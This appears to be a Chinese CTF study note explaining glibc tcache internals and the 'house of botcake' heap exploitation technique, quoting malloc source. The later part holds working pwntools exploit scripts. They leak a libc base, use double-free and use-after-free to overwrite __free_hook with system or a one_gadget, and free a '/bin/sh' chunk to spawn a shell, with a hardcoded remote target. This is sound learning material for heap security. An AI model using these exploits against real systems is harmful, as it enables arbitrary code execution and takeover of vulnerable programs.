house of botcake详细源码解析
为了防止忘掉,特意花时间重新写了一遍
tcache的两个最核心的结构体
一个是tcache结构体,一个是管理tcache的结构体
/*------------------------ Public wrappers. --------------------------------*/
#if USE_TCACHE
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;下面是生成key,并且把key值插入,以及取出key
static void
tcache_key_initialize (void)
{
/* We need to use the _nostatus version here, see BZ 29624. */
if (__getrandom_nocancel_nostatus_direct (&tcache_key, sizeof(tcache_key),
GRND_NONBLOCK)
!= sizeof (tcache_key))
{
tcache_key = random_bits ();
#if __WORDSIZE == 64
tcache_key = (tcache_key << 32) | random_bits ();
#endif
}
}
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache_key;
e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. Removes chunk from the middle of the
list. */
static __always_inline void *
tcache_get_n (size_t tc_idx, tcache_entry **ep)
{
tcache_entry *e;
if (ep == &(tcache->entries[tc_idx]))
e = *ep;
else
e = REVEAL_PTR (*ep);
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
if (ep == &(tcache->entries[tc_idx]))
*ep = REVEAL_PTR (e->next);
else
*ep = PROTECT_PTR (ep, REVEAL_PTR (e->next));
--(tcache->counts[tc_idx]);
e->key = 0;
return (void *) e;
}
/* Like the above, but removes from the head of the list. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
return tcache_get_n (tc_idx, & tcache->entries[tc_idx]);
}操作 |
|
|
写入 |
|
|
目的 | 标记 chunk 已在 tcache 中,防止 double free | 清除标记,表示 chunk 已分配出去,不再属于 tcache |
然后tcache结构体的话还有下面这部分
/* Iterates through the tcache linked list. */
static __always_inline tcache_entry *
tcache_next (tcache_entry *e)
{
return (tcache_entry *) REVEAL_PTR (e->next);
}
/* Check if tcache is available for alloc by corresponding tc_idx. */
static __always_inline bool
tcache_available (size_t tc_idx)
{
if (tc_idx < mp_.tcache_bins
&& tcache != NULL
&& tcache->counts[tc_idx] > 0)
return true;
else
return false;
}
/* Verify if the suspicious tcache_entry is double free.
It's not expected to execute very often, mark it as noinline. */
static __attribute__ ((noinline)) void
tcache_double_free_verify (tcache_entry *e, size_t tc_idx)
{
tcache_entry *tmp;
size_t cnt = 0;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
}
1. tcache_next(e)
- 安全地获取 tcache 链表中下一个节点;
- 自动对
e->next进行 指针解密(REVEAL_PTR),用于支持 safe-linking(glibc ≥ 2.32 的安全特性)。
2. tcache_available(tc_idx)
- 快速判断 指定大小类(tc_idx)的 tcache bin 是否有可用 chunk;
- 用于
malloc时决定是否可以从 tcache 直接分配。
条件解释:
tc_idx < mp_.tcache_bins:索引合法(默认 64 个 bins,对应 24~512 字节);tcache != NULL:当前线程已初始化 tcache;counts[tc_idx] > 0:该 bin 中有空闲 chunk。
3. tcache_double_free_verify(e, tc_idx)
这个函数是tcache报错的主要原因
- 第一层检查(快速):在
_int_free中检查e->key == tcache_key; - 第二层检查(慢速但可靠):调用此函数,即使
key被篡改也能发现 double free。
mp 是 “malloc parameters” 的缩写,是一个全局结构体:
av(arena):代表一个 堆内存管理区域(heap arena),每个线程可以有自己的 arena(或共享 main_arena);mp(malloc parameters):是 全局的、进程级别的堆配置参数,所有 arena 共享同一份mp- 全局唯一,整个进程只有一个
mp_; - 所有 arena 共享这些参数;
- 可通过环境变量调整(如
MALLOC_ARENA_MAX=1、TCACHE_COUNT=10); - 在
__libc_malloc初始化时设置(sysmalloc.c中的ptmalloc_init())。
struct malloc_par {
/* Tunable parameters */
unsigned long trim_threshold;
INTERNAL_SIZE_T top_pad;
INTERNAL_SIZE_T mmap_threshold;
INTERNAL_SIZE_T arena_test;
INTERNAL_SIZE_T arena_max;
/* Memory map support */
int n_mmaps;
int n_mmaps_max;
INTERNAL_SIZE_T max_n_mmaps;
INTERNAL_SIZE_T mmapped_mem;
INTERNAL_SIZE_T max_mmapped_mem;
/* Constants for tcache */
size_t tcache_bins; // ← 默认 64
size_t tcache_max_bytes; // ← 默认 1032(即 0x408)
size_t tcache_count; // ← 默认 7(每个 bin 最多缓存 7 个 chunk)
...
};
extern struct malloc_par mp_;贴一下av
- 每个线程最多有一个 arena(优先使用自己的 thread arena,否则共享 main_arena);
- main_arena:主线程的 arena,也作为 fallback;
- 多个 arena 可以同时存在(用于多线程并发 malloc/free,避免锁竞争);
- 每个
av管理自己的一块 heap space(可能由多个 mmap 区域组成)。
typedef struct malloc_state {
/* Serialize access. */
mutex_t mutex;
/* Flags (formerly in max_fast). */
int flags;
/* Fastbin sizes and heads */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins for chunks */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list of arenas */
struct malloc_state *next;
struct malloc_state *next_free;
/* Memory allocated by mmap */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
/* tcache for this thread (only in thread arena) */
tcache_perthread_struct *tcache;
} *mstate;最后一个结构体有关的部分
/* Try to free chunk to the tcache, if success return true.
Caller must ensure that chunk and size are valid. */
static inline bool
tcache_free (mchunkptr p, INTERNAL_SIZE_T size)
{
bool done = false;
size_t tc_idx = csize2tidx(size); // 根据 size 计算 tcache bin 索引
if (tcache != NULL && tc_idx < mp_.tcache_bins) {
tcache_entry *e = (tcache_entry *) chunk2mem(p);
// 【安全检查】是否可能是 double free?
if (__glibc_unlikely(e->key == tcache_key))
tcache_double_free_verify(e, tc_idx); // 深度遍历验证
// 如果该 bin 还没满(< mp_.tcache_count,默认 7)
if (tcache->counts[tc_idx] < mp_.tcache_count) {
tcache_put(p, tc_idx); // 放入 tcache
done = true;
}
}
return done; // 成功放入返回 true,否则走 normal free
}
static void
tcache_thread_shutdown (void)
{
int i;
tcache_perthread_struct *tcache_tmp = tcache;
tcache_shutting_down = true;
if (!tcache)
return;
/* Disable the tcache and prevent it from being reinitialized. */
tcache = NULL;
/* Free all of the entries and the tcache itself back to the arena
heap for coalescing. */
for (i = 0; i < TCACHE_MAX_BINS; ++i)
{
while (tcache_tmp->entries[i])
{
tcache_entry *e = tcache_tmp->entries[i];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("tcache_thread_shutdown(): "
"unaligned tcache chunk detected");
tcache_tmp->entries[i] = REVEAL_PTR (e->next);
__libc_free (e);
}
}
__libc_free (tcache_tmp);
}
static void
tcache_init(void)
{
mstate ar_ptr;
void *victim = NULL;
const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
}
# define MAYBE_INIT_TCACHE() \
if (__glibc_unlikely (tcache == NULL)) \
tcache_init();
/* Trying to alloc BYTES from tcache. If tcache is available, chunk
is allocated and stored to MEMPTR, otherwise, MEMPTR is NULL.
It returns true if error occurs, else false. */
static __always_inline bool
tcache_try_malloc (size_t bytes, void **memptr)
{
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes = checked_request2size (bytes);
if (tbytes == 0)
{
__set_errno (ENOMEM);
return true;
}
size_t tc_idx = csize2tidx (tbytes);
MAYBE_INIT_TCACHE ();
if (tcache_available (tc_idx))
*memptr = tcache_get (tc_idx);
else
*memptr = NULL;
return false;
}
#else /* !USE_TCACHE */
# define MAYBE_INIT_TCACHE()
static void
tcache_thread_shutdown (void)
{
/* Nothing to do if there is no thread cache. */
}
#endif /* !USE_TCACHE */1. tcache_free(p, size)
尝试将一个 chunk 放入当前线程的 tcache。更加高层的封装的函数
- 检查
e->key == tcache_key→ 可能是 double free; - 若命中,调用
tcache_double_free_verify做 O(n) 遍历确认;
2. tcache_init()
- 第一次调用
malloc/free时懒初始化 tcache; - 从某个 arena(通常是 main_arena)分配一块内存作为
tcache_perthread_struct; - 初始化后,
tcache全局指针指向它(每个线程有自己的 TLS 变量tcache)。
3. MAYBE_INIT_TCACHE() 宏
- 用在
malloc和free路径中; - 避免每次检查,只在首次使用时初始化。
防止重复初始化
4. tcache_try_malloc(bytes, memptr)
malloc的 fast path:先查 tcache;- 若可用,调用
tcache_get(内部会清key=0); - 若不可用,返回
NULL,后续走_int_malloc的正常流程。
5. tcache_thread_shutdown()
- 防止内存泄漏:线程退出时,tcache 中的 chunk 必须归还给主堆;
- 调用
__libc_free(e)→ 进入_int_free→ 可能合并、进 unsorted bin; - 这是 唯一将 tcache chunk 批量“降级”到主堆的路径。
/* Free chunk P to its arena AV. HAVE_LOCK indicates where the arena for
P has already been locked. It will perform sanity check, then try the
fast path to free into tcache. If the attempt not success, free the
chunk to arena. */
static inline void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
size = chunksize (p);
_int_free_check (av, p, size);
#if USE_TCACHE
if (tcache_free (p, size))
return;
#endif
_int_free_chunk (av, p, size, have_lock);
}这个是tcache_free是之前的
free很简洁,封装之后简洁了好多
static inline void
_int_free_check (mstate av, mchunkptr p, INTERNAL_SIZE_T size)
{
/* Little security check which won't hurt performance: the
allocator never wraps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
check_inuse_chunk (av, p);
}check多了检查基本的标志位,_int_free_chunk (av, p, size, have_lock);这个函数在原先unlink分析free的基础上多了很多检查。
网上说的太简洁了,就是int_free绕过基本检查之后,然后就是进入**tcache_free(p, size)这个函数**
进入这个函数,检查bk的位置和key的值对比检查(一般的话是无值,那个随机数碰死的概率很低),通过检查之后就**tcache_put函数**
然后在这个函数会被赋予key值
这样的话,只要不是double,都触发不了这个检查
doublefree触发的是因为这个bk的位置天然就是一个就是key,houseofbotcake这个虽然加入了key,但是也是延迟加入的。
2.34之后的这个的用处不是很大了,因为布置链的长度不是很够
贴一下评论区
这里我明白了botcake的uaf的利用思路了
首先是参考标准,以绝对方向为标准。
释放A,B。A在下,B在上。A,B合并,B的fd指针转移到A的fd。
可以再次释放一次B,此时B就是记在unsorted又在TCache里。
然后,申请一个比较大堆块,可以覆写B的fd指针的那种。
在申请后完成伪造,然后TCache就成功把fakechunk拉入链表。
其实那个时候学的还不是很精通,应该是改变了b的标志位,所以说可以绕过检查 ,但是核心把握住了
学了这个手法的话,可以简化很多
add(0, 0x80, b'a')
add(1, 0x80, b'a')
add(2, 0x80, b'a')
add(3, 0x80, b'a')
add(4, 0x80, b'aaaaaaaa')
add(5, 0x80, b'aaaaaaaa')
add(6, 0x80, b'aaaaaaaa')
add(7, 0x80, b'aaaaaaaa')
add(8, 0x80, b'aaaaaaaa')
add(9, 0x10, b'/bin/sh\x00')
free(0)
free(1)
free(2)
free(3)
free(4)
free(5)
free(6)
uaf(8) #先free上面的,再free下面的,然后上面的标志位清零。这里利用unlink机制清一下标志位
free(7)
show(8)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
print('libc:', hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
sys = libc_base + libc.symbols['system']
add(10, 0x80, b'cccccccc')
free(8)
payload = b'd' * 0x80 + p64(0) + p64(0x91) + p64(free_hook)
add(11, 0xa0, payload)
add(12, 0x80, b'a')
add(8, 0x80, p64(sys))
free(9)
io.interactive()
当时没学这个手法的知识,是通过fastbin去打的
然后利用这个fastbin切割去打ogg
切割之后是下面的
Allocated chunk | PREV_INUSE
Addr: 0x602cef3d06f0
Size: 0x70 (with flag bits: 0x71)
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x602cef3d0760
Size: 0x30 (with flag bits: 0x31)
fd: 0x75dd86480be0
bk: 0x75dd86480be0之后还需要去打一次doublefree(其实可以不用打doublefree)
这个就是同一个堆块释放两次,然后申请出来编辑一下就会多出来一个堆块,一般是在没有edit的情况下使用的
#!/usr/bin/python3
from pwn import *
from LibcSearcher import *
from ctypes import *
from base64 import *
#context(os = 'linux',arch = 'amd64',log_level = 'debug')
#context(arch='mips',os='linux',endian='little',log_level='debug')
context.terminal = ['gnome-terminal','-x','sh','-c']
file_name = './pwn'
libc_name = './libc.so.6'
#libc_name = '/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'
host = '175.27.229.115'# 'node2.anna.nssctf.cn' #'1.95.36.136'
port = 6688
contents = 5201314
pie = 0
def create_io():
elf = ELF(file_name)
# libc = None
libc = ELF(libc_name)
if contents == 1:
io = process(file_name)
#io = process(["qemu-mipsel","-L","/usr/mipsel-linux-gnu","-g","1234", file_name])
def duan(*address):
pay = ''
if pie:
for i in address:
pay += 'b *$rebase(' + str(i) + ')' + '\n'
else:
for i in address:
pay += 'b *' + str(i) + '\n'
gdb.attach(io,pay)
# pause()
return io , duan , elf , libc
else:
io = remote(host,port)
elf = ELF(file_name)
libc = ELF('./libc.so.6')
return io,None,elf,libc
def main():
global io , duan ,elf,libc
io , duan ,elf,libc = create_io()
global pr,pl,sl,s,sa,rf,rt,r,ru,ri,it,sp,p,cl,lg,ra,rn,q
pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
pl = lambda x:success('\x1b[01;38;5;214m'+str(len(x))+'\x1b[0m')
sl = lambda x:io.sendline(x)
s = lambda x:io.send(x)
sa = lambda x,y:io.sendlineafter(x,y)
rf= lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))
rt = lambda x:io.recvuntil(x)
r = lambda x:io.recv(x)
ra = lambda : io.recv()
rn = lambda :u64(io.recvuntil(b'\n',drop=True)[-6:].ljust(8,b'\x00'))
ru = lambda x:u64(io.recv(x).ljust(8,b'\x00'))
ri = lambda x:int(io.recv(x),16)
it = lambda :io.interactive()
sp = lambda :sleep(1.5)
q = lambda :sleep(0.1)
p = lambda :pause()
cl = lambda :io.close()
lg = lambda :log.info('\x1b[01;38;5;214m'+ '-------------------------------------------'+'success stage'+'---------------------------------------------------------'+'\x1b[0m' )
def lib1():
global sys,sh,base
base = leak_addr - libc.symbols['puts']
sys = base +libc.symbols['system']
sh = base +next(libc.search(b'/bin/sh'))
def lib2():
global base,sys,sh
libc = LibcSearcher("puts", leak_addr)
base = leak_addr - libc.dump("puts")
sys = base + libc.dump("system")
sh = base + libc.dump("str_bin_sh")
def source_orw1():
global rdi,rsi,rdx_rbx,rax,syscall,oo,rr,ww,ret
rdi = base + 0x000000000002a3e5
rsi = base + 0x000000000002be51
ret = base + 0x0000000000029139
rdx_rbx = base + 0x00000000000904a9
rax = base + 0x0000000000045eb0
syscall = base + 0x0000000000091316
oo = libc.symbols['open'] + base
rr = libc.symbols['read'] +base
ww = libc.symbols['write'] +base
def cmd(choice):
rt("Your choice:")
sl(str(choice))
def add(index,size,content):
cmd(1)
rt("index:")
sl(str(index))
rt("Size:")
sl(str(size))
rt("context: ")
s(content)
def show(index):
cmd(2)
rt("index:")
sl(str(index))
def delete(index):
cmd(3)
rt("index:")
sl(str(index))
def uaf(index):
cmd(321)
rt("index:")
sl(str(index))
def ak1():#0x41A0
for i in range(8):
add(i,0x90,b'aaaa')
add(9,0x20,b'aaaa')
for i in range(7):
delete(i)
uaf(7)
def ak2():
global lib
ra()
show(7)
rt(b'\n')
rt(b'\n')
lib = ru(6)-0x1ecbe0
pr(lib)
def ak3():
add(0,0x60,b'aaaa')
for i in range(1,7):
add(i,0x60,b'aaaa')
add(9,0x60,b'aaaa')
add(10,0x60,b'aaaa')
for i in range(1,7):
delete(i)
delete(9)
def ak4():
delete(7)
delete(10)
delete(0)
pd = p64(lib+libc.sym['__free_hook'])
ogg = lib + [0xe3afe,0xe3b01,0xe3b04][0]
pr(ogg)
for i in range(7):
add(i+11,0x60,b'aaaa')
add(0,0x60,pd)
add(10,0x60,b'aaaa')
add(7,0x60,pd)
add(18,0x60,p64(lib+libc.sym['system']))
add(19,0x60,b'/bin/sh\x00')
delete(19)
if __name__ == '__main__':
main()
ak1()
ak2()
ak3()
ak4()
#duan()
#sp()
it()
后面补充一下在(av和mp)实际代码上的实现
示例 1:创建新 arena 时用 mp_.arena_test
if (narenas_limit == 0)
narenas_limit = mp_.arena_test;示例 2:决定是否走 mmap
if (size + MINSIZE >= mp_.mmap_threshold)
return sysmalloc(nb, av); // ← 使用 mmap,不走 arena示例 3:tcache 是否启用
if (tc_idx < mp_.tcache_bins && tcache && ... )示例 4:free 时检查 tcache 是否满
if (tcache->counts[tc_idx] < mp_.tcache_count)
tcache_put(...);→ 所有这些判断都依赖 全局的 mp_,但操作的是 当前线程的 av。
- 泄露
av地址 → 可计算 heap 基址(因为main_arena在 libc data 段附近); - 泄露
mp地址 → 较少见,但可通过/proc/self/maps或 infoleak 获取 libc 基址后计算; - 修改
mp字段(如tcache_count)→ 可扩大 tcache 容量,辅助攻击(但通常不可写);